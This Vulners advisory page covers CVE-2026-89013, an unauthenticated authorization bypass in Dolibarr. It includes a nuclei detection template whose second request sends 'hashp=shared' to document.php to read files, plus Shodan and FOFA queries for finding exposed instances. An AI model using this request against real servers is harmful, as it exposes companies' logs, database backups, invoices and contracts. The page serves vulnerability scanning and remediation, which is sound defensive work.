Lucene search
+L

Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter

🗓️ 02 Oct 2026 02:11:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

Unauthenticated remote attackers can read arbitrary files in Dolibarr < 24.0.0 via hashp.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-89013
11 Sep 202622:06
–githubexploit
circl
Circl
CVE-2026-89013
12 Sep 202603:00
–circl
cve
CVE
CVE-2026-89013
11 Sep 202615:54
–cve
cvelist
Cvelist
CVE-2026-89013 Dolibarr 23.0.4 < 24.0.1 Authorization Bypass via hashp Parameter in document.php
11 Sep 202615:54
–cvelist
euvd
EUVD
EUVD-2026-76144
11 Sep 202615:54
–euvd
kitploit
Kitploit
CVE-2026-89013
26 Sep 202612:49
–kitploit
nvd
NVD
CVE-2026-89013
11 Sep 202616:17
–nvd
ptsecurity
Positive Technologies
PT-2026-89907
11 Sep 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-89013: Incorrect Authorization
11 Sep 202600:00
–rapid7
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2026-89013
17 Sep 202600:00
–vulncheck_kev
Rows per page
id: CVE-2026-89013

info:
  name: Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter
  author: DhiyaneshDk
  severity: high
  description: |
    Dolibarr ERP/CRM versions 23.0.4 through 24.0.0 contain an authorization bypass vulnerability in document.php and viewimage.php. The public share-link feature forces NOLOGIN when hashp is present, but the value 'shared' skips token resolution while the override still fires for any non-empty hashp value. This bypass allows unauthenticated remote attackers to read arbitrary files from all Dolibarr managed directories including logs, SQL database backups, invoices, contracts, user vcards, and custom module sources.
  impact: |
    Unauthenticated remote attackers can read arbitrary files from all Dolibarr managed directories, potentially exposing database credentials, invoices, contracts, and other sensitive data.
  remediation: |
    Upgrade Dolibarr to version 24.0.1 or later.
  reference:
    - https://github.com/Faceless0x7/CVE-2026-89013
    - https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9
    - https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b
    - https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191
    - https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
    - https://www.vulncheck.com/advisories/dolibarr-authorization-bypass-via-hashp-parameter-in-document-php
    - https://previdian.com/CVE-2026-89013
    - http://nvd.nist.gov/vuln/detail/CVE-2026-89013
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-89013
    epss-score: 0.0156
    epss-percentile: 0.74319
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 2
    vendor: dolibarr
    product: dolibarr
    shodan-query: http.title:"Dolibarr"
    fofa-query: app="Dolibarr"
  tags: cve,cve2026,dolibarr,auth-bypass,file-read,vkev

variables:
  canary: "{{rand_text_alpha(16)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "Dolibarr") || contains(body, "main_login") || contains(body, "dol_login")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        GET /document.php?hashp=shared&modulepart=medias&file={{canary}}.canary HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{canary}}")'
          - '!contains_any(body, "Bad value for parameter hashp", "Missing identification to find file", "main_login")'
        condition: and
# digest: 4a0a004730450220494e3415ba9a6250b5c5b5820824f19cf13f6aa321a81b9c28389d8e099e588c022100cc701368015906970647afae35ec48c59d290c9e9881ec2630b39986664c41c1:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2026 03:44Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
CVSS 48.7
EPSS0.0156
SSVC
12